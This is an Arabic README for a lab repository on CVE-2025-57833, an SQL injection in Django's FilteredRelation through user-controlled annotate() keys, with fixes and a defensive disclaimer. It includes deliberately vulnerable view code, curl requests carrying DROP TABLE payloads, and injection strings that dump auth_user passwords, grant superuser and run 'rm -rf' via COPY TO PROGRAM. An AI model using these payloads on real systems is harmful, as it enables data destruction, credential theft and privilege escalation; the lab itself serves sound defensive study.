
قمنا بإعداد بيئة لاختبار CVE-2025-57833. تم بناء هذه البيئة باستخدام الذكاء الاصطناعي، لذا فهي تخضع للتعديل المستمر.
يُوضّح هذا المستودع ويشرح CVE-2025-57833، وهي ثغرة حقن SQL خطيرة في ORM الخاص بـ Django تُؤثر على الإصدارات 4.2 قبل 4.2.24، و5.1 قبل 5.1.12، و5.2 قبل 5.2.6.
نقاط CVSS: 9.8 (حرجة)
التأثير: حقن SQL يؤدي إلى تنفيذ تعليمات برمجية عن بُعد (RCE)
المصادقة المطلوبة: لا شيء (هجوم غير مُصادق)
Django ORM (رسم الخرائط العلائقية للكائنات) يُتيح للمطورين التفاعل مع قواعد البيانات باستخدام كود Python بدلاً من SQL الخام. على سبيل المثال:
# بدلاً من SQL الخام: SELECT * FROM books WHERE author_id = 1
books = Book.objects.filter(author_id=1)
FilteredRelation هي ميزة في Django تتيح لك ربط الجداول مع شروط تصفية إضافية:
# ربط الكتب بالمؤلفين، ولكن فقط المؤلفين النشطين
Book.objects.annotate(
active_author=FilteredRelation('author', condition=Q(author__is_active=True))
).select_related('active_author')
أحيانًا يحتاج المطورون إلى إنشاء أسماء حقول ديناميكيًا بناءً على إدخال المستخدم:
# المستخدم يريد البحث بمعايير مختلفة
search_field = request.POST.get('field_name') # إدخال المستخدم: "title", "author", إلخ.
# إنشاء حقل ديناميكي باستخدام **kwargs
queryset.annotate(**{
search_field: FilteredRelation('some_relation')
})
تحدث الثغرة عندما يُستخدم إدخال مستخدم غير منقّى كمفاتيح قاموس في annotate() أو alias() مع FilteredRelation. إليك العملية خطوة بخطوة:
# هذا ما تفعله التطبيقات الضعيفة:
user_input = request.POST.get('search_field') # المُهاجم يتحكم في هذا
# الثغرة هنا - يصبح إدخال المستخدم اسم عمود SQL
queryset.annotate(**{
user_input: FilteredRelation("author") # ❌ خطير
})
يُرسل المُهاجم إدخالاً ضارًا:
user_input = "malicious_field'; DROP TABLE users; --"
يُولد Django SQL كالتالي:
SELECT ...
FROM book
LEFT OUTER JOIN author AS malicious_field'; DROP TABLE users; -- ON ...
يتم تنفيذ SQL الضار، مما قد يؤدي إلى:
العديد من تطبيقات Django تحتوي على وظيفة بحث حيث يمكن للمستخدمين اختيار الحقل الذي يريدون البحث فيه:
# views.py - نمط ضعيف شائع
def search_books(request):
search_field = request.POST.get('search_by') # "author", "title", "category"
search_value = request.POST.get('search_value')
# المطور يظن أن هذا آمن - لكنه ليس كذلك!
books = Book.objects.annotate(**{
f"filtered_{search_field}": FilteredRelation(
search_field,
condition=Q(**{f"{search_field}__name__icontains": search_value})
)
})
return JsonResponse({'books': list(books.values())})
# المُهاجم يُرسل طلب POST هذا:
curl -X POST http://example.com/search/ \
-d "search_by=author'; DROP TABLE auth_user; --" \
-d "search_value=anything"
# لا تفعل هذا أبدًا - إدخال المستخدم مباشر كمفتاح قاموس
user_field = request.POST.get('field')
queryset.annotate(**{
user_field: FilteredRelation('relation') # حقن SQL!
})
# آمن - استخدم التحقق من القائمة البيضاء
ALLOWED_FIELDS = ['author', 'category', 'publisher']
user_field = request.POST.get('field')
if user_field not in ALLOWED_FIELDS:
raise ValidationError("حقل غير صالح")
queryset.annotate(**{
user_field: FilteredRelation('relation') # الآن آمن
})
# آمن - استخدم أسماء حقول ثابتة
search_type = request.POST.get('search_type')
if search_type == 'author':
queryset.annotate(filtered_author=FilteredRelation('author'))
elif search_type == 'category':
queryset.annotate(filtered_category=FilteredRelation('category'))
-- استخراج بيانات حساسة
'; SELECT username, password FROM auth_user; --
-- تعديل البيانات
'; UPDATE auth_user SET is_superuser = true WHERE id = 1; --
-- تنفيذ أوامر النظام (PostgreSQL مع الإضافات المناسبة)
'; COPY (SELECT '') TO PROGRAM 'rm -rf /tmp/*'; --
ALLOWED_FIELDS = ['author', 'title', 'category', 'publisher']
def safe_annotate(queryset, field_name):
if field_name not in ALLOWED_FIELDS:
raise ValidationError(f"الحقل '{field_name}' غير مسموح به")
return queryset.annotate(**{
field_name: FilteredRelation('relation')
})
# بدلاً من أسماء الحقول الديناميكية، استخدم المنطق الشرطي
def get_filtered_queryset(search_type):
if search_type == 'author':
return queryset.annotate(result=FilteredRelation('author'))
elif search_type == 'category':
return queryset.annotate(result=FilteredRelation('category'))
else:
raise ValidationError("نوع بحث غير صالح")
قم بالتحديث إلى أحدث إصدار من Django:
يتضمن هذا المستودع بيئة اختبار كاملة:
# تشغيل تطبيق Django الضعيف
docker-compose up
# اختبار الثغرة
curl -X POST http://localhost:8000/api/vulnerable-search/ \
-H "Content-Type: application/json" \
-d '{"search_field": "malicious\"; DROP TABLE IF EXISTS test; --"}'
للحصول على تعليمات اختبار مفصلة، راجع document/README.md.
هذا المستودع لأغراض تعليمية ودفاعية فقط. لا تستخدم هذه المعلومات لمهاجمة أنظمة لا تملكها أو ليس لديك إذن باختبارها.